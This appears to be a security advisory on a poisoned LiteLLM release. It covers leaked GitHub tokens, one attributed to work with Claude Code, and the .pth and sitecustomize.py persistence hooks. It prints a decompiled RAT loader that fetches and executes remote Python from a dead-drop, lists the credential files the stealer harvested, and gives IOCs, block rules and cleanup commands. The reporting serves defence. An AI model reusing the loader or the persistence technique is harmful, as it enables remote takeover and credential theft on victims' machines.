Open-source AI gateway project LiteLLM has suffered a critical software supply chain compromise after threat actors bypassed release pipeline controls to inject a sophisticated credential infostealer and persistent Remote Access Trojan (RAT) into official distribution channels. The poisoned release, designated v1.107.0, was published directly to the Python Package Index (PyPI), Docker Hub, and GitHub Container Registry (GHCR) before being detected and yanked.

According to forensic post-mortems released by project maintainer BerriAI and confirmed by cloud telemetry researchers at Wiz and JFrog, the attackers orchestrated a multi-stage intrusion combining AI agent token leakage, unauthorized repository configuration modification, and workflow redirection through a typo-squatted GitHub organization.

Forensic Anatomy of the CI/CD Pipeline Breach

The root compromise originated not in the open-source codebase itself, but in the operational environment governing the project's continuous integration and deployment (CI/CD) pipelines. Forensic investigators reconstructed the complete attack sequence:

  1. AI Assistant Token Leakage into Logs: During automated debugging and developer operations using Anthropic's Claude Code, the assistant embedded active GitHub CLI OAuth tokens into HTTP response bodies.
  2. Exposed Proxy Instance Exposure: An internal LiteLLM proxy instance maintained by the engineering team—which logged full request and response bodies—was inadvertently exposed to the public internet via an undocumented route, likely exacerbated by an unpatched access control flaw.
  3. Credential Harvest: Threat actors discovered the exposed proxy interface, extracted three sets of developer GitHub CLI OAuth tokens from backend log files, and identified that one token possessed repository administrative privileges over the BerriAI GitHub organization.
  4. Branch Protection Bypass: On October 19, maintainers had temporarily widened release permissions to facilitate bugfix backports. Using the hijacked administrative token, the attacker disabled branch protection rules on the release branch and force-pushed poisoned commit trees.
  5. Workflow Lookalike Redirection: The attacker executed the automated release workflow but manipulated action inputs to pull malicious release binaries from a lookalike organization, Berri-AI/litellm (hyphenated), bypassing verification checks and resulting in cryptographically signed, official releases of the compromised wheel and container images.

Malware Architecture: Dual-Technique Execution via .pth and sitecustomize.py

The payload packaged inside litellm-1.107.0.tar.gz and associated container layers demonstrated advanced anti-analysis and execution reliability. Researchers identified a dual-technique persistence mechanism that marks the first documented in-the-wild simultaneous deployment of both .pth auto-loading and sitecustomize.py hooking.

1. Primary Execution Vector: cook.pth

Python's site module processes path configuration (.pth) files located in the site-packages directory during interpreter startup. Lines beginning with import are executed immediately before any user code runs. The package included cook.pth, which triggered:

import cook; cook.initialize()

The cook.py script dynamically deobfuscated an embedded credential harvesting module designated privcollect. The module scanned developer environments, container cgroups, and server hosts for:

  • Cloud Infrastructure Metadata & Roles: AWS STS temporary tokens, instance profile credentials from IMDSv2 (http://169.254.169.254/latest/meta-data/), Google Cloud Platform service account tokens, and Azure Managed Identity secrets.
  • AI Platform API Keys: OpenAI, Anthropic, Cohere, DeepSeek, and AWS Bedrock keys residing in environment variables or configuration dotfiles (.bashrc, .zshrc, .env).
  • Developer Secrets: SSH private keys (id_rsa, id_ed25519), GitHub personal access tokens, Docker daemon configs, and Kubernetes service account tokens (/var/run/secrets/kubernetes.io/serviceaccount/token).

Harvested telemetry was compressed, base64-encoded, and exfiltrated via HTTP POST to the compromised staging domain litellm[.]dev/healthcheck.

2. Secondary Linux/macOS Vector: sitecustomize.py

To establish persistent remote execution beyond the initial Python process invocation, the malware deployed sitecustomize.py. This module runs exclusively on POSIX architectures:

# Architectural decompilation of sitecustomize.py RAT loader
import os, sys, time, urllib.request

def daemon_loop():
    lock_file = "/tmp/remote_code_loader.lock"
    if os.path.exists(lock_file):
        return
    with open(lock_file, "w") as f:
        f.write(str(os.getpid()))
    
    while True:
        try:
            # Fetch active C2 domain from GitHub dead-drop
            c2_url = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
            with urllib.request.urlopen(c2_url, timeout=10) as resp:
                domain = resp.read().decode('utf-8').strip()
            
            if domain and domain != "test":
                payload_url = f"http://{domain}/codepy"
                with urllib.request.urlopen(payload_url, timeout=15) as p_resp:
                    exec(p_resp.read().decode('utf-8'), globals())
        except Exception:
            pass
        time.sleep(3600)  # Hourly beacon interval

By acquiring an exclusive lock on /tmp/remote_code_loader.lock, the daemon guaranteed singleton execution while polling the GitHub dead-drop repository letters9813/pythonclient-test once every hour to download and execute secondary Python payloads in memory.

Active Exploitation Telemetry: LLMjacking and IAM Discovery

Telemetry recorded by cloud defense sensors identified exploitation attempts beginning approximately 4.5 hours after credential exfiltration. Telemetry captured originating traffic from two dedicated adversary IP addresses:

  • 168.100.8[.]57
  • 165.227.201[.]8

The adversaries systematically validated stolen AWS IAM instance role credentials by issuing sts:GetCallerIdentity requests. Upon confirming active sessions, the operators executed Amazon Bedrock discovery calls (bedrock:ListFoundationModels and ListModels)—a tactical signature characteristic of LLMjacking, in which compromised cloud accounts are repurposed to conduct unauthorized inference workloads at enterprise expense.

In higher-privilege target environments, the adversaries broadened their reconnaissance to full IAM discovery (iam:ListRoles, iam:ListUsers, iam:ListAccessKeys) and audit disruption via cloudtrail:DescribeTrails.

Impacted Release Inventory and Exposure Windows

Security teams must cross-reference their deployment timestamps against the active exposure windows:

Distribution Channel Affected Version / Tags Exposure Window (UTC) Status
PyPI litellm == 1.107.0 Oct 21, 11:39 UTC – 13:23 UTC Yanked from PyPI registry
Docker Hub 1.107.0, latest, main-latest, main-stable Oct 21, 11:46 UTC – 14:20 UTC Replaced with clean signed builds
GitHub Packages (GHCR) 1.107.0, latest, main-latest, main-stable Oct 21, 11:46 UTC – 14:20 UTC Replaced with clean signed builds

Defensive Incident Response Playbook

Any organization that ran unpinned CI/CD pipeline builds or pulled affected Docker images during the vulnerability window must execute full host and credential remediation:

1. Host Isolation and Artifact Hunting

Inspect all application servers, Kubernetes pods, and developer systems that installed or evaluated LiteLLM on October 21:

# Check for persistent lock and malicious artifacts
ls -la /tmp/remote_code_loader.lock
find /usr/local/lib/python* -name "cook.pth" -o -name "sitecustomize.py"

# Terminate suspicious background python processes
pkill -9 -f "remote_code_loader"

2. Network Egress and DNS Blocking

Enforce immediate perimeter and host-level DNS block rules for known adversary command-and-control and staging domains:

# Block outbound telemetry and dead-drop connections
127.0.0.1 litellm.dev
127.0.0.1 168.100.8.57
127.0.0.1 165.227.201.8

3. Mandatory Credential Invalidation

Because the privcollect module swept local memory and environment configurations upon package load, assume all secrets accessible to the process space are fully compromised:

  • Rotate all AWS, Azure, and GCP IAM access keys and revoke active instance session tokens.
  • Regenerate OpenAI, Anthropic, Bedrock, and Gemini API keys utilized by the application instance.
  • Invalidate all GitHub personal access tokens, deploy keys, and OAuth grants stored in affected developer workstations.

Organizations should immediately upgrade to verified release v1.107.1 or pin deployments to known-good cryptographic hashes.